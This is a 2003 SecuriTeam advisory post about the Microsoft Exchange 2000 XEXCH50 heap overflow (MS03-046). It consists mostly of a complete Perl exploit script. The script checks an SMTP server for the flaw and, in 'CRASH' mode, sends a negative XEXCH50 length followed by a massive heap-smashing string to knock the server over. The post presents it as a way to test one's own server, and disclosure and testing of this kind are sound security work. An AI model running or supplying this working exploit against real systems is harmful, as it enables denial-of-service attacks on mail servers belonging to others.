[EXPL] Microsoft Exchange 2000 Heap Overflow (XEXCH50)

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To: list@securiteam.com
Date: 22 Oct 2003 16:46:18 +0200

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  Microsoft Exchange 2000 Heap Overflow (XEXCH50)
------------------------------------------------------------------------

SUMMARY

As we reported in our previous article
<http://www.securiteam.com/windowsntfocus/6I00A1P8LC.html> Vulnerability
in Exchange Server Could Allow Arbitrary Code Execution (MS03-046), a
vulnerability in the Exchange Server allows remote attackers to cause the
Exchange Server to execute arbitrary code. The following exploit code can
be used to test your server for the mentioned vulnerability (It causes a
denial of service on vulnerable servers).

DETAILS

Exploit:
#!/usr/bin/perl -w
##################

##
# ms03-046.pl - hdm[at]metasploit.com
##

use strict;
use IO::Socket;

my $host = shift() || usage();
my $mode = shift() || "CHECK";
my $port = 25;

if (uc($mode) eq "CHECK") { check() }
if (uc($mode) eq "CRASH") { crash() }

usage();

sub check
{
    my $s = SMTP($host, $port);
    if (! $s)
    {
        print "[*] Error establishing connection to SMTP service.\n";
        exit(0);
    }

    print $s "XEXCH50 2 2\r\n";
    my $res = <$s>;
    close ($s);

    # a patched server only allows XEXCH50 after NTLM authentication
    if ($res =~ /authentication/i)
    {
        print "[*] This server has been patched or is not vulnerable.\n";
        exit(0);
    }

    print "[*] This system is vulnerable: $host:$port\n";

    exit(0);
}

sub crash
{
    my $s = SMTP($host, $port);
    if (! $s)
    {
        print "[*] Error establishing connection to SMTP service.\n";
        exit(0);
    }

    # the negative value allows us to overwrite random heap bits
    print $s "XEXCH50 -1 2\r\n";
    my $res = <$s>;

    # a patched server only allows XEXCH50 after NTLM authentication
    if ($res =~ /authentication/i)
    {
        print "[*] This server has been patched or is not vulnerable.\n";
        exit(0);
    }

    print "[*] Sending massive heap-smashing string...\n";
    print $s ("META" x 16384);

    # sometimes a second connection is required to trigger the crash
    $s = SMTP($host, $port);

    exit(0);
}

sub usage
{
    print STDERR "Usage: $0 <host> [CHECK|CRASH]\n";
    exit(0);

}

sub SMTP
{
    my ($host, $port) = @_;
    my $s = IO::Socket::INET->new
    (
        PeerAddr => $host,
        PeerPort => $port,
        Proto => "tcp"
    ) || return(undef);

    my $r = <$s>;
    return undef if !$r;
    
    if ($r !~ /Microsoft/)
    {
        chomp($r);
        print STDERR "[*] This does not look like an exchange server:
$r\n";
        return(undef);
    }
    
    print $s "HELO X\r\n";
    $r = <$s>;
    return undef if !$r;

    print $s "MAIL FROM: DoS\r\n";
    $r = <$s>;
    return undef if !$r;
    
    print $s "RCPT TO: Administrator\r\n";
    $r = <$s>;
    return undef if !$r;
    
    return($s);
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:hdm@secureaustin.com> H D
Moore.

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